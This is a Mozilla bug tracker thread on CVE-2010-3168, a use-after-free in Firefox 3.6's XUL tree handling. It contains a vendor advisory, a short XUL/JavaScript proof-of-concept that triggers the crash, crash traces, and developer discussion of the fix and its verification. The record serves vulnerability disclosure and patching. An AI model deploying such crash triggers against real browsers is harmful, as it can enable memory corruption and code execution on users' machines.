576075 - (CVE-2010-3168) tree Object Removal Remote Code Execution Vulnerability (ZDI-CAN-817)

Status: RESOLVED FIXED

(Core :: XUL, defect)

Description

[Reed Loden [:reed]]

Attachment: PoC

ZDI-CAN-817: Mozilla Firefox tree Object Removal Remote Code Execution Vulnerability

-- ABSTRACT ------------------------------------------------------------

TippingPoint has identified a vulnerability affecting the following 
products:

    Mozilla Firefox 3.6.x

-- VULNERABILITY DETAILS -----------------------------------------------

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Mozilla Firefox. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the support for XUL <tree> objects. If a
specific property of a tree object is set and the parent node attempts
to remove the child, the process can be made to access invalid memory.
This can be abused by an attacker to execute remote code under the
context of the user running the browser.

Version(s)  tested: Mozilla Firefox 3.6.2
Platform(s) tested: Windows XP SP3 x86

<window
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
        onload="run()">

<tree>
  <treecols/>
  <treechildren/>
</tree>

<script type="text/javascript"><![CDATA[
function run() {
  var tree = document.getElementsByTagName("tree")[0];
  var view = tree.treeBoxObject.view;

  view.selection = {
    isSelected : function(i) {
      return false;
    },
    set tree(t) {
      if (t == null) {
        tree.parentNode.removeChild(tree);
      }
    }
  };

  var body = tree.treeBoxObject.treeBody;
  body.parentNode.removeChild(body);
}
]]></script>


-- CREDIT --------------------------------------------------------------

This vulnerability was discovered by:
    * regenrecht

Comment 1

[Reed Loden [:reed]]

bp-1622bdfd-786f-4d9b-ad21-b97802100630

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0b2pre) Gecko/20100630 Minefield/4.0b2pre

Comment 2

[Jesse Ruderman]

Attachment: stack traces on mac

###!!! ASSERTION: Want to fire mutation events, but it's not safe: '(aNode->IsNodeOfType(nsINode::eCONTENT) && static_cast<nsIContent*>(aNode)-> IsInNativeAnonymousSubtree()) || sScriptBlockerCount == sRemovableScriptBlockerCount', file build/content/base/src/nsContentUtils.cpp, line 3534

###!!! ASSERTION: recurring into frame construction: 'mPresContext->mLayoutPhaseCount[eLayoutPhase_FrameC] == 0', file build/layout/base/nsPresContext.h, line 1275

Crash [@ nsStyleContext::GetRuleNode] [@ nsBoxFrame::RemoveFrame]

Comment 3

[Robert O'Callahan (:roc) (email my personal email if necessary)]

Again, we need to prevent content script from implement nsITreeSelection. How do we do that?

Comment 4

[Robert O'Callahan (:roc) (email my personal email if necessary)]

In fact, why should content script *ever* be allowed to implement XPCOM interfaces via XPConnect?

Comment 5

[Robert O'Callahan (:roc) (email my personal email if necessary)]

In fact I thought we changed things to prevent that already...

Comment 6

[Boris Zbarsky [:bzbarsky]]

It's required for some DOM stuff... EventListener objects, specifically.  :(

I would be fine with needing to explicitly flag interfaces that content script can implement, though.

Comment 7

[Robert O'Callahan (:roc) (email my personal email if necessary)]

OK, then let's do that.

Comment 8

[Daniel Veditz [:dveditz]]

On 3.6.x I get bp-25fbd0c4-b2ae-4e0c-bd95-ac5052100630 -- isn't that a frame-poisoned address and evidence that we've neutered this one?

On 3.5.x it's bad though, looks like it's off executing at a random address: bp-47bf29d4-1c50-4fe0-b24b-4e85a2100630

Comment 9

[Johnny Stenback (:jst)]

I don't know of a way to specifically prevent content code from implementing a specific interface, we'd pretty much need to do what bz suggested, e.g. explicitly marking the interfaces that we do let content implement (event handlers, user data handlers, tree iterator callbacks, etc).

But we could plug this hole if we simply made the tree.treeBoxObject.view object check in its selection setter that the given nsITreeSelection really is what we expect it to be (by QIing to a non-scriptable interface and making sure that QI succeeds). We do similar things in various places in the DOM code (by QI'ing to nsIContent or what not).

Comment 10

[Robert O'Callahan (:roc) (email my personal email if necessary)]

Yeah, we need to do both.

Comment 11

[Olli Pettay [:smaug][[e-mail]]]

Sorry for the delay. I'll look into this later today or tomorrow.

Comment 12

[Olli Pettay [:smaug][[e-mail]]]

Attachment: patch

The patch is on purpose very similar to Bug 326501,
but had to add security check also the treebuilder.

As far as I see, other SetSelection methods aren't accessible from content.

Comment 13

[Olli Pettay [:smaug][[e-mail]]]

And because we need the patch for branches, I didn't make
a generic "IsNative" interface, but took the safer approach and added a new
interface for TreeSelection.

Comment 14

[Olli Pettay [:smaug][[e-mail]]]

http://hg.mozilla.org/mozilla-central/rev/ad33abeb9305

Comment 15

[LegNeato]

Comment on attachment 460843 [details] [diff] [review]
patch

a=LegNeato for 1.9.2.9 and 1.9.1.12.

Comment 16

[Olli Pettay [:smaug][[e-mail]]]

http://hg.mozilla.org/releases/mozilla-1.9.2/rev/a5122f1a593d

Comment 17

[Olli Pettay [:smaug][[e-mail]]]

http://hg.mozilla.org/releases/mozilla-1.9.1/rev/73c6fec31954

Comment 18

[Al Billings [:abillings - ex-MoCo]]

Verified for 1.9.2.9 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.9pre) Gecko/20100817 Namoroka/3.6.9pre ( .NET CLR 3.5.30729) using PoC. Does not crash as it does in 1.9.2.8.

Verified for 1.9.1.12 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.12pre) Gecko/20100817 Shiretoko/3.5.12pre ( .NET CLR 3.5.30729) using same PoC. Does not crash as it does in 1.9.1.11.

Comment 19

[Martin Stránský [:stransky] (ni? me)]

Attachment: 1.8.0 version